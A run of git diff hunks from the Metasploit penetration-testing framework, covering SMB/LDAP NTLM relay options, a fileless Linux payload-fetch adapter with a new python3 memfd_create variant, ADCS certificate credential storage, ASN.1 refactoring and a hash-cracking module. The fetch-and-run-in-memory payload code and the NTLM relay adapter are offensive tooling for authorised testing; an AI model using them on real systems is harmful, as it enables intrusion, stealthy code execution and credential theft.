def initialize(ip:, port:, protocol:, path: nil, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
|
||||
@ip = ip
|
||||
@port = port
|
||||
@protocol = protocol
|
||||
@@ -75,9 +77,11 @@ module Msf::Exploit::Remote::SMB::Relay
|
||||
relay_attempts: 0
|
||||
}
|
||||
end
|
||||
@drop_mic_only= drop_mic_only
|
||||
@drop_mic_and_sign_key_exch_flags = drop_mic_and_sign_key_exch_flags
|
||||
end
|
||||
|
||||
attr_reader :ip, :port, :protocol, :path
|
||||
attr_reader :ip, :port, :protocol, :path, :drop_mic_only, :drop_mic_and_sign_key_exch_flags
|
||||
|
||||
def eligible_relay_target?(identity)
|
||||
return true if identity.nil?
|
||||
|
||||
@@ -5,7 +5,7 @@ module Msf
|
||||
module LDAP
|
||||
include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DOMAIN USERNAME PASSWORD THREADS]
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT LDAPDomain LDAPUsername LDAPPassword THREADS]
|
||||
REQUIRED_OPTIONS = %w[RHOSTS RPORT THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
@@ -209,7 +209,9 @@ module Msf::Payload::Adapter::Fetch
|
||||
end
|
||||
|
||||
def _execute_nix(get_file_cmd)
|
||||
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
|
||||
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash'
|
||||
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
|
||||
|
||||
|
||||
cmds = get_file_cmd
|
||||
cmds << ";chmod +x #{_remote_destination_nix}"
|
||||
@@ -232,6 +234,7 @@ module Msf::Payload::Adapter::Fetch
|
||||
end
|
||||
_execute_add(get_file_cmd)
|
||||
end
|
||||
|
||||
|
||||
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
|
||||
def _generate_fileless(get_file_cmd)
|
||||
@@ -258,6 +261,11 @@ module Msf::Payload::Adapter::Fetch
|
||||
|
||||
cmd
|
||||
end
|
||||
|
||||
# same idea as _generate_fileless function, but force creating anonymous file handle
|
||||
def _generate_fileless_python(get_file_cmd)
|
||||
%Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'>
|
||||
end
|
||||
|
||||
def _generate_curl_command
|
||||
case fetch_protocol
|
||||
@@ -295,7 +303,7 @@ module Msf::Payload::Adapter::Fetch
|
||||
fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
|
||||
else
|
||||
_check_tftp_file
|
||||
if datastore['FETCH_FILELESS'] && linux?
|
||||
if datastore['FETCH_FILELESS'] != 'none' && linux?
|
||||
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
|
||||
else
|
||||
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
|
||||
@@ -343,7 +351,7 @@ module Msf::Payload::Adapter::Fetch
|
||||
def _remote_destination_nix
|
||||
return @remote_destination_nix unless @remote_destination_nix.nil?
|
||||
|
||||
if datastore['FETCH_FILELESS']
|
||||
if datastore['FETCH_FILELESS'] != 'none'
|
||||
@remote_destination_nix = '$f'
|
||||
return @remote_destination_nix
|
||||
end
|
||||
|
||||
@@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
|
||||
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
|
||||
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
|
||||
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
|
||||
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
|
||||
]
|
||||
|
||||
@@ -100,16 +100,19 @@ class Creds
|
||||
print_line "Usage - Adding credentials:"
|
||||
print_line " creds add uses the following named parameters."
|
||||
{
|
||||
user: 'Public, usually a username',
|
||||
password: 'Private, private_type Password.',
|
||||
ntlm: 'Private, private_type NTLM Hash.',
|
||||
postgres: 'Private, private_type postgres MD5',
|
||||
pkcs12: 'Private, private_type pkcs12 archive file, must be a file path.',
|
||||
'ssh-key' => 'Private, private_type SSH key, must be a file path.',
|
||||
hash: 'Private, private_type Nonreplayable hash',
|
||||
jtr: 'Private, private_type John the Ripper hash type.',
|
||||
realm: 'Realm, ',
|
||||
'realm-type'=>"Realm, realm_type (#{Metasploit::Model::Realm::Key::SHORT_NAMES.keys.join(' ')}), defaults to domain."
|
||||
user: 'Public, usually a username',
|
||||
password: 'Private, private_type Password.',
|
||||
ntlm: 'Private, private_type NTLM Hash.',
|
||||
postgres: 'Private, private_type postgres MD5',
|
||||
pkcs12: 'Private, private_type pkcs12 archive file, must be a file path.',
|
||||
'ssh-key' => 'Private, private_type SSH key, must be a file path.',
|
||||
hash: 'Private, private_type Nonreplayable hash',
|
||||
jtr: 'Private, private_type John the Ripper hash type.',
|
||||
realm: 'Realm, ',
|
||||
'realm-type' => "Realm, realm_type (#{Metasploit::Model::Realm::Key::SHORT_NAMES.keys.join(' ')}), defaults to domain.",
|
||||
'adcs-ca' => 'CA, Certificate Authority that issued the pkcs12 certificate',
|
||||
'adcs-template' => 'ADCS Template, template used to issue the pkcs12 certificate',
|
||||
'pkcs12-password' => 'The password to decrypt the Pkcs12, defaults to an empty password'
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.to_s.ljust 10}: #{description}"
|
||||
end
|
||||
@@ -206,7 +209,7 @@ class Creds
|
||||
end
|
||||
|
||||
begin
|
||||
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name', 'jtr', 'pkcs12', 'postgres')
|
||||
params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name', 'jtr', 'pkcs12', 'postgres', 'adcs-ca', 'adcs-template', 'pkcs12-password')
|
||||
rescue ArgumentError => e
|
||||
print_error(e.message)
|
||||
end
|
||||
@@ -276,6 +279,10 @@ class Creds
|
||||
end
|
||||
data[:private_type] = :pkcs12
|
||||
data[:private_data] = pkcs12_data
|
||||
data[:private_metadata] = {}
|
||||
data[:private_metadata][:adcs_ca] = params['adcs-ca'] if params['adcs-ca']
|
||||
data[:private_metadata][:adcs_template] = params['adcs-template'] if params['adcs-template']
|
||||
data[:private_metadata][:pkcs12_password] = params['pkcs12-password'] if params['pkcs12-password']
|
||||
end
|
||||
|
||||
if params.key? 'hash'
|
||||
@@ -305,7 +312,7 @@ class Creds
|
||||
framework.db.create_credential(data)
|
||||
end
|
||||
rescue ActiveRecord::RecordInvalid => e
|
||||
print_error("Failed to add #{data['private_type']}: #{e}")
|
||||
print_error("Failed to add #{data[:private_type]}: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -414,11 +421,13 @@ class Creds
|
||||
when 'password'
|
||||
Metasploit::Credential::Password
|
||||
when 'hash'
|
||||
Metasploit::Credential::PasswordHash
|
||||
Metasploit::Credential::NonreplayableHash
|
||||
when 'ntlm'
|
||||
Metasploit::Credential::NTLMHash
|
||||
when 'KrbEncKey'.downcase
|
||||
Metasploit::Credential::KrbEncKey
|
||||
when 'pkcs12'
|
||||
Metasploit::Credential::Pkcs12
|
||||
when *Metasploit::Credential::NonreplayableHash::VALID_JTR_FORMATS
|
||||
opts[:jtr_format] = ptype
|
||||
Metasploit::Credential::NonreplayableHash
|
||||
|
||||
+2
-1
@@ -300,7 +300,8 @@ class MsfAutoload
|
||||
'rex_ntlm' => 'RexNTLM',
|
||||
'teamcity' => 'TeamCity',
|
||||
'nist_sp_800_38f' => 'NIST_SP_800_38f',
|
||||
'nist_sp_800_108' => 'NIST_SP_800_108'
|
||||
'nist_sp_800_108' => 'NIST_SP_800_108',
|
||||
'pfsense' => 'PfSense'
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
-33
@@ -1,37 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
=begin
|
||||
|
||||
The Metasploit Rex library is provided under the 3-clause BSD license.
|
||||
|
||||
Copyright (c) 2005-2014, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors may be
|
||||
used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
=end
|
||||
|
||||
module Rex
|
||||
Root = File.join(File.expand_path(File.dirname(__FILE__)), 'rex')
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
The Metasploit Rex library is provided under the 3-clause BSD license.
|
||||
|
||||
Copyright (c) 2005-2006, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors may be
|
||||
used to endorse or promote products derived from this software without
|
||||
specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -236,10 +236,47 @@ module Rex::Proto::CryptoAsn1::Cms
|
||||
]
|
||||
end
|
||||
|
||||
class SignerInfo < RASN1::Model
|
||||
sequence :signer_info,
|
||||
content: [integer(:version),
|
||||
model(:sid, IssuerAndSerialNumber),
|
||||
model(:digest_algorithm, AlgorithmIdentifier),
|
||||
set_of(:signed_attrs, Attribute, implicit: 0, optional: true),
|
||||
model(:signature_algorithm, AlgorithmIdentifier),
|
||||
octet_string(:signature),
|
||||
]
|
||||
end
|
||||
|
||||
class EncapsulatedContentInfo < RASN1::Model
|
||||
sequence :encapsulated_content_info,
|
||||
content: [objectid(:econtent_type),
|
||||
octet_string(:econtent, explicit: 0, constructed: true, optional: true)
|
||||
]
|
||||
|
||||
def econtent
|
||||
if self[:econtent_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_DIFFIE_HELLMAN_KEYDATA.value
|
||||
Rex::Proto::Kerberos::Model::Pkinit::KdcDhKeyInfo.parse(self[:econtent].value)
|
||||
elsif self[:econtent_type].value == Rex::Proto::Kerberos::Model::OID::PkinitAuthData
|
||||
Rex::Proto::Kerberos::Model::Pkinit::AuthPack.parse(self[:econtent].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class SignedData < RASN1::Model
|
||||
sequence :signed_data,
|
||||
explicit: 0, constructed: true,
|
||||
content: [integer(:version),
|
||||
set_of(:digest_algorithms, AlgorithmIdentifier),
|
||||
model(:encap_content_info, EncapsulatedContentInfo),
|
||||
set_of(:certificates, Certificate, implicit: 0, optional: true),
|
||||
# CRLs - not implemented
|
||||
set_of(:signer_infos, SignerInfo)
|
||||
]
|
||||
end
|
||||
|
||||
class ContentInfo < RASN1::Model
|
||||
sequence :content_info,
|
||||
content: [model(:content_type, ContentType),
|
||||
# In our case, expected to be EnvelopedData
|
||||
any(:data)
|
||||
]
|
||||
|
||||
@@ -248,5 +285,11 @@ module Rex::Proto::CryptoAsn1::Cms
|
||||
EnvelopedData.parse(self[:data].value)
|
||||
end
|
||||
end
|
||||
|
||||
def signed_data
|
||||
if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_SIGNED_DATA.value
|
||||
SignedData.parse(self[:data].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -61,8 +61,11 @@ module Rex::Proto::CryptoAsn1
|
||||
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
|
||||
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
|
||||
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
|
||||
OID_DIFFIE_HELLMAN_KEYDATA = ObjectId.new('1.3.6.1.5.2.3.2', name: 'OID_DIFFIE_HELLMAN_KEYDATA', label: 'Diffie Hellman Key Data')
|
||||
|
||||
|
||||
OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data')
|
||||
OID_CMS_SIGNED_DATA = ObjectId.new('1.2.840.113549.1.7.2', name: 'OID_CMS_SIGNED_DATA', label: 'CMS Signed Data')
|
||||
|
||||
OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode')
|
||||
OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode')
|
||||
|
||||
@@ -101,6 +101,14 @@ module Rex::Proto::CryptoAsn1::X509
|
||||
]
|
||||
end
|
||||
|
||||
class SubjectPublicKeyInfo < RASN1::Model
|
||||
sequence :subject_public_key_info,
|
||||
explicit: 1, constructed: true, optional: true,
|
||||
content: [model(:algorithm, Rex::Proto::CryptoAsn1::Cms::AlgorithmIdentifier),
|
||||
bit_string(:subject_public_key)
|
||||
]
|
||||
end
|
||||
|
||||
class BuiltinDomainDefinedAttribute < RASN1::Model
|
||||
sequence :BuiltinDomainDefinedAttribute, content: [
|
||||
printable_string(:type),
|
||||
|
||||
@@ -213,7 +213,7 @@ class Server
|
||||
"<title>404 Not Found</title>" +
|
||||
"</head><body>" +
|
||||
"<h1>Not found</h1>" +
|
||||
"The requested URL #{html_escape(request.resource)} was not found on this server.<p><hr>" +
|
||||
"The requested URL #{ERB::Util.html_escape(request.resource)} was not found on this server.<p><hr>" +
|
||||
"</body></html>"
|
||||
|
||||
# Send the response to the client like what
|
||||
|
||||
@@ -8,78 +8,6 @@ module Rex
|
||||
# Contains the models for PKINIT-related ASN1 structures
|
||||
# These use the RASN1 library to define the types
|
||||
module Pkinit
|
||||
class AlgorithmIdentifier < RASN1::Model
|
||||
sequence :algorithm_identifier,
|
||||
content: [objectid(:algorithm),
|
||||
any(:parameters, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
class Attribute < RASN1::Model
|
||||
sequence :attribute,
|
||||
content: [objectid(:attribute_type),
|
||||
set_of(:attribute_values, RASN1::Types::Any)
|
||||
]
|
||||
end
|
||||
|
||||
class AttributeTypeAndValue < RASN1::Model
|
||||
sequence :attribute_type_and_value,
|
||||
content: [objectid(:attribute_type),
|
||||
any(:attribute_value)
|
||||
]
|
||||
end
|
||||
|
||||
class Certificate
|
||||
# Rather than specifying the entire structure of a certificate, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
|
||||
attr_accessor :options
|
||||
|
||||
def initialize(options={})
|
||||
self.options = options
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.options[:openssl_certificate]&.to_der || ''
|
||||
end
|
||||
|
||||
# RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value)
|
||||
# @return [Boolean]
|
||||
# @since 0.12
|
||||
def can_build?
|
||||
!to_der.empty?
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def primitive?
|
||||
false
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def value
|
||||
options[:openssl_certificate]
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str)
|
||||
to_der.length
|
||||
end
|
||||
end
|
||||
|
||||
class ContentInfo < RASN1::Model
|
||||
sequence :content_info,
|
||||
content: [objectid(:content_type),
|
||||
# In our case, expected to be SignedData
|
||||
any(:signed_data)
|
||||
]
|
||||
|
||||
def signed_data
|
||||
if self[:content_type].value == '1.2.840.113549.1.7.2'
|
||||
SignedData.parse(self[:signed_data].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class DomainParameters < RASN1::Model
|
||||
sequence :domain_parameters,
|
||||
content: [integer(:p),
|
||||
@@ -90,46 +18,6 @@ module Rex
|
||||
]
|
||||
end
|
||||
|
||||
class EncapsulatedContentInfo < RASN1::Model
|
||||
sequence :encapsulated_content_info,
|
||||
content: [objectid(:econtent_type),
|
||||
octet_string(:econtent, explicit: 0, constructed: true, optional: true)
|
||||
]
|
||||
|
||||
def econtent
|
||||
if self[:econtent_type].value == '1.3.6.1.5.2.3.2'
|
||||
KdcDhKeyInfo.parse(self[:econtent].value)
|
||||
elsif self[:econtent_type].value == '1.3.6.1.5.2.3.1'
|
||||
AuthPack.parse(self[:econtent].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Name
|
||||
# Rather than specifying the entire structure of a name, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
attr_accessor :value
|
||||
|
||||
def initialize(options={})
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.value = OpenSSL::X509::Name.new(str)
|
||||
to_der.length
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.value.to_der
|
||||
end
|
||||
end
|
||||
|
||||
class IssuerAndSerialNumber < RASN1::Model
|
||||
sequence :signer_identifier,
|
||||
content: [model(:issuer, Name),
|
||||
integer(:serial_number)
|
||||
]
|
||||
end
|
||||
|
||||
class KdcDhKeyInfo < RASN1::Model
|
||||
sequence :kdc_dh_key_info,
|
||||
content: [bit_string(:subject_public_key, explicit: 0, constructed: true),
|
||||
@@ -148,41 +36,10 @@ module Rex
|
||||
]
|
||||
end
|
||||
|
||||
class SignerInfo < RASN1::Model
|
||||
sequence :signer_info,
|
||||
content: [integer(:version),
|
||||
model(:sid, IssuerAndSerialNumber),
|
||||
model(:digest_algorithm, AlgorithmIdentifier),
|
||||
set_of(:signed_attrs, Attribute, implicit: 0, optional: true),
|
||||
model(:signature_algorithm, AlgorithmIdentifier),
|
||||
octet_string(:signature),
|
||||
]
|
||||
end
|
||||
|
||||
class SignedData < RASN1::Model
|
||||
sequence :signed_data,
|
||||
explicit: 0, constructed: true,
|
||||
content: [integer(:version),
|
||||
set_of(:digest_algorithms, AlgorithmIdentifier),
|
||||
model(:encap_content_info, EncapsulatedContentInfo),
|
||||
set_of(:certificates, Certificate, implicit: 0, optional: true),
|
||||
# CRLs - not implemented
|
||||
set_of(:signer_infos, SignerInfo)
|
||||
]
|
||||
end
|
||||
|
||||
class SubjectPublicKeyInfo < RASN1::Model
|
||||
sequence :subject_public_key_info,
|
||||
explicit: 1, constructed: true, optional: true,
|
||||
content: [model(:algorithm, AlgorithmIdentifier),
|
||||
bit_string(:subject_public_key)
|
||||
]
|
||||
end
|
||||
|
||||
class AuthPack < RASN1::Model
|
||||
sequence :auth_pack,
|
||||
content: [model(:pk_authenticator, PkAuthenticator),
|
||||
model(:client_public_value, SubjectPublicKeyInfo),
|
||||
model(:client_public_value, Rex::Proto::CryptoAsn1::X509::SubjectPublicKeyInfo),
|
||||
octet_string(:client_dh_nonce, implicit: 3, constructed: true, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
@@ -14,7 +14,7 @@ module Rex
|
||||
]
|
||||
|
||||
def dh_rep_info
|
||||
Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:dh_rep_info].value)
|
||||
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:dh_rep_info].value)
|
||||
end
|
||||
|
||||
def self.decode(data)
|
||||
|
||||
@@ -15,7 +15,7 @@ module Rex
|
||||
|
||||
def parse!(der, ber: false)
|
||||
res = super(der, ber: ber)
|
||||
self.signed_auth_pack = Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse(self[:signed_auth_pack].value)
|
||||
self.signed_auth_pack = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:signed_auth_pack].value)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'rex/proto/ldap/auth_adapter/rex_kerberos'
|
||||
require 'rex/proto/ldap/auth_adapter/rex_ntlm'
|
||||
require 'rex/proto/ldap/auth_adapter/rex_relay_ntlm'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/ldap/auth_adapter'
|
||||
require 'net/ldap/auth_adapter/sasl'
|
||||
require 'rubyntlm'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
# This implements NTLM authentication but facilitates operation from within a relay context where the NTLM processing
|
||||
# is being handled by an external entity (the relay victim) and it expects to be called repeatedly with the necessary
|
||||
# NTLM message
|
||||
class RexRelayNtlm < Net::LDAP::AuthAdapter
|
||||
# @param auth [Hash] the options for binding
|
||||
# @option opts [String] :ntlm_message the serialized NTLM message to send to the server, the type does not matter
|
||||
def bind(auth)
|
||||
mech = 'GSS-SPNEGO'
|
||||
ntlm_message = auth[:ntlm_message]
|
||||
raise Net::LDAP::BindingInformationInvalidError, "Invalid binding information (invalid NTLM message)" unless ntlm_message
|
||||
|
||||
message_id = @connection.next_msgid
|
||||
sasl = [mech.to_ber, ntlm_message.to_ber].to_ber_contextspecific(3)
|
||||
request = [
|
||||
Net::LDAP::Connection::LdapVersion.to_ber, "".to_ber, sasl
|
||||
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
|
||||
|
||||
@connection.send(:write, request, nil, message_id)
|
||||
pdu = @connection.queued_read(message_id)
|
||||
|
||||
if !pdu || pdu.app_tag != Net::LDAP::PDU::BindResult
|
||||
raise Net::LDAP::NoBindResultError, "no bind result"
|
||||
end
|
||||
|
||||
pdu
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Net::LDAP::AuthAdapter.register(:rex_relay_ntlm, Rex::Proto::LDAP::AuthAdapter::RexRelayNtlm)
|
||||
@@ -270,6 +270,7 @@ Gem::Specification.new do |spec|
|
||||
getoptlong
|
||||
mutex_m
|
||||
ostruct
|
||||
rinda
|
||||
].each do |library|
|
||||
spec.add_runtime_dependency library
|
||||
end
|
||||
|
||||
@@ -139,9 +139,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue MsSamrConnectionError, MsIcprConnectionError => e
|
||||
rescue MsSamrConnectionError, MsIcprConnectionError, SmbIpcConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue MsSamrAuthenticationError, MsIcprAuthenticationError => e
|
||||
rescue MsSamrAuthenticationError, MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue MsSamrNotFoundError, MsIcprNotFoundError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
|
||||
@@ -51,9 +51,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
send("action_#{action.name.downcase}")
|
||||
rescue MsIcprConnectionError => e
|
||||
rescue MsIcprConnectionError, SmbIpcConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue MsIcprAuthenticationError => e
|
||||
rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue MsIcprNotFoundError => e
|
||||
fail_with(Failure::NotFound, e.message)
|
||||
|
||||
@@ -45,6 +45,9 @@ class MetasploitModule < Msf::Auxiliary
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even
|
||||
though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
|
||||
@@ -3,25 +3,23 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::PasswordCracker
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Apply Pot File To Hashes',
|
||||
'Description' => %Q{
|
||||
'Name' => 'Apply Pot File To Hashes',
|
||||
'Description' => %(
|
||||
This module uses a John the Ripper or Hashcat .pot file to crack any password
|
||||
hashes in the creds database instantly. JtR's --show functionality is used to
|
||||
help combine all the passwords into an easy to use format.
|
||||
},
|
||||
'Author' => ['h00die'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['john', 'Description' => 'Use John the Ripper'],
|
||||
# ['hashcat', 'Description' => 'Use Hashcat'], # removed for simplicity
|
||||
],
|
||||
),
|
||||
'Author' => ['h00die'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
# ['hashcat', 'Description' => 'Use Hashcat'], # removed for simplicity
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
)
|
||||
deregister_options('ITERATION_TIMEOUT')
|
||||
@@ -33,7 +31,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
deregister_options('USE_DEFAULT_WORDLIST')
|
||||
deregister_options('USE_ROOT_WORDS')
|
||||
deregister_options('USE_HOSTNAMES')
|
||||
|
||||
end
|
||||
|
||||
# Not all hash formats include an 'id' field, which corresponds which db entry
|
||||
@@ -41,10 +38,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# is used as a salt. Due to all the variations, we make a small HashLookup
|
||||
# class to handle all the fields for easier lookup later.
|
||||
class HashLookup
|
||||
attr_accessor :db_hash
|
||||
attr_accessor :jtr_hash
|
||||
attr_accessor :username
|
||||
attr_accessor :id
|
||||
attr_accessor :db_hash, :jtr_hash, :username, :id
|
